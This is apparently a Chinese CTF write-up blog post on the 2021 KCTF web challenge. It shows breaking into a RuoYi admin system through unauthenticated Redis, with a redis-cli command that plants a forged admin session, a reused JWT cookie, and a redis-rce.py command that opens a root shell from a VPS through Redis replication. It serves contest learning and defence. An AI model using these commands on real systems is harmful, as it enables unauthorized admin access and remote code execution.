2021-KCTF-第三题『统一门派』分析

2021-KCTF-第三题『统一门派』分析

此次2021 KCTF并未参与,朋友说出了一道web题,所以来帮忙看一下。

访问站点,发现是开源的若依管理系统。

官网地址:http://www.ruoyi.vip/

弱口令试了几个,没有结果,扫描了一下端口发现存在6379端口(redis)。

使用redis-cli客户端连接,未授权访问

百度搜索了一下rouyi-vue版本是前后端分离的,采用了Redis,JWT等技术。

其登录请求主体

1
2
3
4
5
6
{
"username": "admin",
"password": "admin123",
"code": "8",
"uuid": "fe836d943ecd46009b282b0aa1c0da44"
}

登录过程中,主要发生了以下几件事:

  • 首先根据uuid获取redis中的验证码并对请求的验证码做验证,如果验证码校验通过,就会对账号密码进行校验。

  • 用户名和密码校验成功,则使用token作为key将用户信息保存到redis中。

  • 使用JWT对token签名并返回给用户。

因为redis可控,所以想着本地搭建一个rouyi系统,登录成功后查看redis中的token信息,并将它复制到靶机中,假设secret密钥是默认的情况下,可以直接用本地生成的JWT签名Authorization登录靶机。

解法一

本地docker搭建一个rouyi-vue

项目地址:https://gitee.com/fengerous/ruoyi-docker/tree/master

本地登录后拿到Admin-Token和Authorization

查看redis中的token

然后我们需要在靶机的redis中创建此token

1
121.36.145.157:6379> set login_tokens:8c51595f-4298-4d60-8211-28eb65dcfa02 "{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1620979809129,\"ipaddr\":\"192.168.15.1\",\"loginLocation\":\"\xe5\x86\x85\xe7\xbd\x91IP\",\"loginTime\":1620978009129,\"os\":\"Windows 10\",\"password\":\"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2\",\"permissions\":Set[\"*:*:*\"],\"token\":\"8c51595f-4298-4d60-8211-28eb65dcfa02\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1521171180000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xc3\xa7\xc2\xa0\xe2\x80\x9d\xc3\xa5\\u008F\xe2\x80\x98\xc3\xa9\xc6\x92\xc2\xa8\xc3\xa9\xe2\x80\x94\xc2\xa8\",\"leader\":\"\xc3\xa8\xe2\x80\xb9\xc2\xa5\xc3\xa4\xc2\xbe\\u009D\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"ry@163.com\",\"loginDate\":1521171180000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xc3\xa8\xe2\x80\xb9\xc2\xa5\xc3\xa4\xc2\xbe\\u009D\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2\",\"phonenumber\":\"15888888888\",\"remark\":\"\xc3\xa7\xc2\xae\xc2\xa1\xc3\xa7\\u0090\xe2\x80\xa0\xc3\xa5\xe2\x80\x98\xcb\x9c\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"flag\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xc3\xa8\xc2\xb6\xe2\x80\xa6\xc3\xa7\xc2\xba\xc2\xa7\xc3\xa7\xc2\xae\xc2\xa1\xc3\xa7\\u0090\xe2\x80\xa0\xc3\xa5\xe2\x80\x98\xcb\x9c\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"

添加完毕后去给靶机添加Cookie,名为Admin-Token,值为本地测试时的Admin-Token,添加完刷新页面就进入了后台

1
Admin-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjhjNTE1OTVmLTQyOTgtNGQ2MC04MjExLTI4ZWI2NWRjZmEwMiJ9.jJ_EnSVzgKymnzxY5kTBfumEg9VInoKt6nAFJXUWlfwSK_Ahy1Sjby9ruQWcLPiHvEArh0eZjzNweXHQaq9tDw

解法二

利用Redis主从复制可以直接拿shell

https://github.com/Ridter/redis-rce

https://github.com/n0b0dyCN/redis-rogue-server

1
python3 redis-rce.py -r 121.36.145.157 -L VPSIP -f exp.so

然后莫名其妙上了别人的车,root权限

解法三

这个就是直接非预期了

文章作者: Linuz
文章链接: https://linuz.me/2021/05/06/2021-KCTF-Web-Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Linuz's Blog
敢不敢赏脸一次